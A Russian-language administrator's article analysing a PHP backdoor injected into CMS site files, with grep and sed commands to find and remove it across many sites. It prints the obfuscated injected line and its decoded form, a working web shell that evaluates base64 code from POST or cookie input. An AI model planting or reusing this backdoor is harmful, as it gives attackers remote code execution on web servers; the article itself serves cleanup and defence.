Не все обновляют свои сайты и уж тем более не все следят за новостями в области уязвимостей в известных CMS и их компонентах. Как результат, возникает большое количество зараженных сайтов, которые могут принести огромный вред.
Сегодня я рассмотрю один частный случай заражения сайтов, результатом которого может стать участие сервера в бот-сети.
При получении доступа на запись к файлам вашего сайта, злоумышленник вносит изменения в некоторые файлы. На первый взгляд, они случайные, но при просмотре сотен таких сайтов выявляются некоторые закономерности. Чаще всего изменения вносятся в файлы шаблонов, в файлы из директории ./xmlrpc/includes, а также создаются файлы с названием test.php в других местах. Эти изменения выглядят следующим образом:
<?php !много-много-табов! /*1a21ca6047eb4089bb2c25013a757f10*/ eval(base64_decode("JHcgID0gICAgJ28nOzsgOyAgICAgaWYgICAgICggICAgIGlzc2V0KCAgJF9DT09LSUVbJ2R3YyddKSAgICApICAgICB7ICAgZWNobyAgICc8Y3dkPicgICAgIC4gICBnZXRjd2QoKSAgICAuICAnPC9jd2Q+Jzs7IDsgICAgIH0gICAgaWYgICAoICBpc3NldCAgICggICRfUE9TVFsncDFhMiddICAgICApICAgICApICAgICB7ICAgIGV2YWwgICggICBiYXNlNjRfZGVjb2RlICAgICggICAgICRfUE9TVFsncDFhMiddICAgICkgICApOzsgOyAgIHJldHVybjs7ICAgICAgfSAgaWYgICAgKCAgICAgaXNzZXQoICAkX0NPT0tJRVsncDFhMiddKSAgICApICAgIHsgIGV2YWwgICggICAgIGJhc2U2NF9kZWNvZGUgICAgICggICAgJF9DT09LSUVbJ3AxYTInXSAgICApICApOzsgOyAgIHJldHVybjs7IDsgICB9ICAgIA==")); ?>
При расшифровке получается довольно интересный код:
$w = 'o';; ; if ( isset( $_COOKIE['dwc']) ) { echo '<cwd>' . getcwd() . '</cwd>';; ; } if ( isset ( $_POST['p1a2'] ) ) { eval ( base64_decode ( $_POST['p1a2'] ) );; ; return;; } if ( isset( $_COOKIE['p1a2']) ) { eval ( base64_decode ( $_COOKIE['p1a2'] ) );; ; return;; ; }
Как видно из него, шаблон выведет текущую директорию относительно корня веб-сервера при обнаружении в cookie переменной с именем dwc. Но самое интересное — это декодирование и запуск содержимого переменной p1a2 из POST-запроса или аналогичной переменной из cookie. В эту переменную можно записать в base64-формате абсолютно любой код и он будет выполнен с правами веб-сервера. Для неплохого ddos этого вполне достаточно.
В чем проблема найти и удалить этот код? В том, что имена переменных, как и комментарий до них меняется от файла к файлу. А значит, меняется и содержимое текста в base64_decode(). В пределах одного сайта, конечно, можно удалить все вручную. Но если таких сайтов хотя бы 200? Правильно, надо писать регулярное выражение для поиска и удаления этих строк.
Я решил, что безопаснее и быстрее сначала найти все эти сайты без регулярных выражений, после этого проверить вручную результат и только после этого удалять лишнее. Запускаем поиск по куску кода, исключая бинарные файлы с выводом всего найденного в файл:
cd /var/www grep -I -R '*/ eval(base64_decode(' ./ >/root/base64-files
После этого внимательно просматриваем его (а мало ли на сайте есть кусок нормального кода, который подходит под это описание). Если все просмотрено и ничего лишнего там нет — запускаем, собственно, удаление такой командой:
cat /root/base64-files |awk -F ':' '{print "/var/www"substr($1,2)}'|xargs -l sed -i.bak 's#^<?php[[:blank:]]*/*[a-z0-9*]*/[[:blank:]]*eval(base64_decode(\".*\")); ?>##'
Расшифрую вкратце: читаем файл base64-files, используем в качестве разделителя столбцов в awk двоеточие и выводим подстроку со второго символа (первый символ — точка) с префиксом /var/www. После этого передаем все это в xargs, который, в свою очередь построчно скармливает результат в sed, который с обязательным бэкапом файла заменяет содержимое, в соответствии с регулярным выражением на пустоту, т.е. удаляет.
После удаления, на всякий случай, можно «прогнать» поиск всего кода base64_decode на сайтах. Зачастую, этот код используется в не очень хороших целях. Но анализировать и проверять надо все по месту.